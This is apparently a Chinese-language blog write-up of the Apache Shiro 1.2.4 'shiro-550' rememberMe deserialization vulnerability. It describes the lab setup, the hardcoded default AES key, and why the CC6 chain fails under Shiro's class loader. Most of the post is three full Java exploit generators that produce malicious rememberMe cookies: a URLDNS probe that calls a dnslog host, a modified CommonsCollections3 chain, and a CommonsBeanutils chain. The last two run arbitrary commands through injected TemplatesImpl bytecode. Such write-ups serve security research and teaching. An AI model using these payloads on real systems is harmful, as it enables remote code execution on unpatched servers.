前言shiro550反序列化
环境搭建1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
然后因为jsp里有用jstl标签,所以要在pom.xml中添加这一段:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId> javax.servlet.jsp.jstl</groupId>
<artifactId> jstl-api</artifactId>
<version> 1.2</version>
</dependency>
<dependency>
<groupId> taglibs</groupId>
<artifactId> standard</artifactId>
<version> 1.1.2</version>
</dependency>
然后配置好tomcat就能启动了
原理Shiro框架在开启rememberMe功能时会将用户信息序列化之后进行AES加密,然后再转成Base64存在用户的Cookie中,而解码时则将Base64转回字节流进行AES解码后进行反序列化。所以只要知道shiro框架的密钥就能构造恶意的Cookie进行反序列化,而shiro-550
存在默认的key:kPH+bIxk5D2deZiIxcaaaA==
,被存放在了org.apache.shiro.mgt.AbstractRememberMeManager
这个类中。所以可以构造恶意的Cookie进行反序列化。
POC以URLDNS链为例,按照加密的逻辑可以写出如下的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class ShiroExp {
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection ( URL u ) throws IOException {
return null ;
}
protected synchronized InetAddress getHostAddress ( URL u ) {
return null ;
}
}
public static void setValue ( String name , Object target , Object value ){
try {
Field field = target . getClass (). getDeclaredField ( name );
field . setAccessible ( true );
field . set ( target , value );
} catch ( Exception ignore ){}
}
public static byte [] encrypt ( byte [] key , byte [] plainBytes ) throws Exception {
Key secKey = new SecretKeySpec ( key , "AES" );
Cipher cipher = Cipher . getInstance ( "AES/CBC/PKCS5Padding" );
int sizeInBytes = 128 / 8 ;
byte [] iv = new byte [ sizeInBytes ] ;
SecureRandom random = SecureRandom . getInstance ( "SHA1PRNG" );
random . nextBytes ( iv );
IvParameterSpec spec = new IvParameterSpec ( iv );
cipher . init ( Cipher . ENCRYPT_MODE , secKey , spec );
byte [] encrypted = cipher . doFinal ( plainBytes );
byte [] output = new byte [ iv . length + encrypted . length ] ;;
System . arraycopy ( iv , 0 , output , 0 , iv . length );
System . arraycopy ( encrypted , 0 , output , iv . length , encrypted . length );
return output ;
}
public static void main ( String [] args ) throws Exception {
String url = "http://a.fa2zs.0tqac7.dnslog.eastjun.xyz" ;
URLStreamHandler handler = new SilentURLStreamHandler ();
HashMap ht = new HashMap ();
URL u = new URL ( null , url , handler );
ht . put ( u , url );
setValue ( "hashCode" , u , - 1 );
ByteArrayOutputStream bos = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream ( bos );
oos . writeObject ( ht );
byte [] serialized = bos . toByteArray ();
byte [] key = Base64 . getDecoder (). decode ( "kPH+bIxk5D2deZiIxcaaaA==" );
byte [] data = encrypt ( key , serialized );
String payload = new String ( Base64 . getEncoder (). encode ( data ));
System . out . printf ( "rememberMe=%s%n" , payload );
}
}
将生成的payload放在Cookie里打过去就能看到DNSLOG的记录:
利用链 CC3链直接用CC6链打过去是打不通的,会出现一个ClassNotFoundException
,报错信息是Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]
,原因是Shiro使用的ObjectInputStream
是ClassResolvingObjectInputStream
,继承自ObjectInputStream
,重写了resolveClass
方法:
在ClassUtils.forName
中会调用Classloader.loadClass()
对类进行加载,在tomcat环境下调用的三个Classloader
分别为ParallelWebappClassLoader
、ParallelWebappClassLoader
、AppClassLoader
,WebappClassLoader
无法加载非Java自身的数组,而CC6用到了Transformer
数组,所以会出现报错。
在CC链中使用Transformer的目的在于要可控transform
函数传入的参数,实际这个参数在LazyMap
的get
函数就可控了:
由此可以改造出一条去除Transformer数组的CC3链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class ShiroCC3 {
public static void setValue ( String name , Object target , Object value ) {
try {
Field field = target . getClass (). getDeclaredField ( name );
field . setAccessible ( true );
field . set ( target , value );
} catch ( Exception ignore ) {
}
}
public static byte [] createEvil () throws Exception {
ClassPool pool = ClassPool . getDefault ();
CtClass abstractTranslet = pool . get ( AbstractTranslet . class . getName ());
CtClass clazz = pool . makeClass ( "evil" );
String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" ;
clazz . makeClassInitializer (). insertBefore ( cmd );
clazz . setSuperclass ( abstractTranslet );
return clazz . toBytecode ();
}
public static byte [] encrypt ( byte [] key , byte [] plainBytes ) throws Exception {
Key secKey = new SecretKeySpec ( key , "AES" );
Cipher cipher = Cipher . getInstance ( "AES/CBC/PKCS5Padding" );
int sizeInBytes = 128 / 8 ;
byte [] iv = new byte [ sizeInBytes ] ;
SecureRandom random = SecureRandom . getInstance ( "SHA1PRNG" );
random . nextBytes ( iv );
IvParameterSpec spec = new IvParameterSpec ( iv );
cipher . init ( Cipher . ENCRYPT_MODE , secKey , spec );
byte [] encrypted = cipher . doFinal ( plainBytes );
byte [] output = new byte [ iv . length + encrypted . length ] ;
;
System . arraycopy ( iv , 0 , output , 0 , iv . length );
System . arraycopy ( encrypted , 0 , output , iv . length , encrypted . length );
return output ;
}
public static void main ( String [] args ) throws Exception {
TemplatesImpl templates = new TemplatesImpl ();
setValue ( "_bytecodes" , templates , new byte [][] { createEvil ()});
setValue ( "_name" , templates , "a" );
setValue ( "_tfactory" , templates , new TransformerFactoryImpl ());
InvokerTransformer it = new InvokerTransformer ( "getOutputProperties" , new Class [] {}, new Object [] {});
Map lazymap = LazyMap . decorate ( new HashMap (), it );
TiedMapEntry tme = new TiedMapEntry ( new HashMap (), templates );
HashMap hm = new HashMap ();
hm . put ( tme , null );
setValue ( "map" , tme , lazymap );
//payload生成
ByteArrayOutputStream bos = new ByteArrayOutputStream ();
new ObjectOutputStream ( bos ). writeObject ( hm );
byte [] data = bos . toByteArray ();
byte [] key = Base64 . getDecoder (). decode ( "kPH+bIxk5D2deZiIxcaaaA==" );
String paylaod = new String (
Base64 . getEncoder (). encode ( encrypt ( key , data ))
);
System . out . println ( new String ( Base64 . getEncoder (). encode ( data )));
System . out . printf ( "rememberMe=%s%n" , paylaod );
}
}
CB链Shiro中有引入Commons-Beanutils
,在没有Commons-Collections
时可以用CB链,这条是去除了CC依赖的CB链,在调用PriorityQueue
的readObject
函数时触发对value的比较,然后调用BeanComparator
的compare
函数,之后会用反射调用TemplatesImpl
的getter
,最后到getoutputProperties
函数时触发命令执行。
然后为了去除CC依赖还得给BeanComparator
再传入Comparator
,因为如果不传入Comparator
就会使用Commons-Collections
包中的Comparator
:
这个替换的Comparator
得实现Serialiable
接口和Comparator
接口,然后还不能是Commons-Collections
包中的,所以就用了CaseInsensitiveComparator
类,这个类是java.lang.String
包中的一个私有类,用String.CASE_INSENSITIVE_ORDER
就能获取。
所以最后得到的利用链如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class CBShiro {
public static void setValue ( String name , Object target , Object value ) {
try {
Field field = target . getClass (). getDeclaredField ( name );
field . setAccessible ( true );
field . set ( target , value );
} catch ( Exception ignore ) {
}
}
public static Object getValue ( String name , Object target ) {
try {
Field field = target . getClass (). getDeclaredField ( name );
field . setAccessible ( true );
return field . get ( target );
} catch ( Exception ignore ) {
return null ;
}
}
public static byte [] createEvil () throws Exception {
ClassPool pool = ClassPool . getDefault ();
CtClass abstractTranslet = pool . get ( AbstractTranslet . class . getName ());
CtClass clazz = pool . makeClass ( "evil" );
String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" ;
clazz . makeClassInitializer (). insertBefore ( cmd );
clazz . setSuperclass ( abstractTranslet );
return clazz . toBytecode ();
}
public static byte [] encrypt ( byte [] key , byte [] plainBytes ) throws Exception {
Key secKey = new SecretKeySpec ( key , "AES" );
Cipher cipher = Cipher . getInstance ( "AES/CBC/PKCS5Padding" );
int sizeInBytes = 128 / 8 ;
byte [] iv = new byte [ sizeInBytes ] ;
SecureRandom random = SecureRandom . getInstance ( "SHA1PRNG" );
random . nextBytes ( iv );
IvParameterSpec spec = new IvParameterSpec ( iv );
cipher . init ( Cipher . ENCRYPT_MODE , secKey , spec );
byte [] encrypted = cipher . doFinal ( plainBytes );
byte [] output = new byte [ iv . length + encrypted . length ] ;;
System . arraycopy ( iv , 0 , output , 0 , iv . length );
System . arraycopy ( encrypted , 0 , output , iv . length , encrypted . length );
return output ;
}
public static void main ( String [] args ) throws Exception {
TemplatesImpl templates = new TemplatesImpl ();
setValue ( "_bytecodes" , templates , new byte [][] { createEvil ()});
setValue ( "_name" , templates , "a" );
setValue ( "_tfactory" , templates , new TransformerFactoryImpl ());
final BeanComparator comparator = new BeanComparator ( null , String . CASE_INSENSITIVE_ORDER );
final PriorityQueue < Object > queue = new PriorityQueue < Object > ( 2 , comparator );
queue . add ( "1" );
queue . add ( "1" );
setValue ( "property" , comparator , "outputProperties" );
setValue ( "queue" , queue , new Object [] { templates , templates });
ByteArrayOutputStream bos = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream (
bos
);
oos . writeObject ( queue );
byte [] serialized = bos . toByteArray ();
byte [] key = Base64 . getDecoder (). decode ( "kPH+bIxk5D2deZiIxcaaaA==" );
byte [] data = encrypt ( key , serialized );
String payload = new String (
Base64 . getEncoder (). encode ( data )
);
System . out . print ( new String ( Base64 . getEncoder (). encode ( data )));
System . out . printf ( "rememberMe=%s%n" , payload );
}
}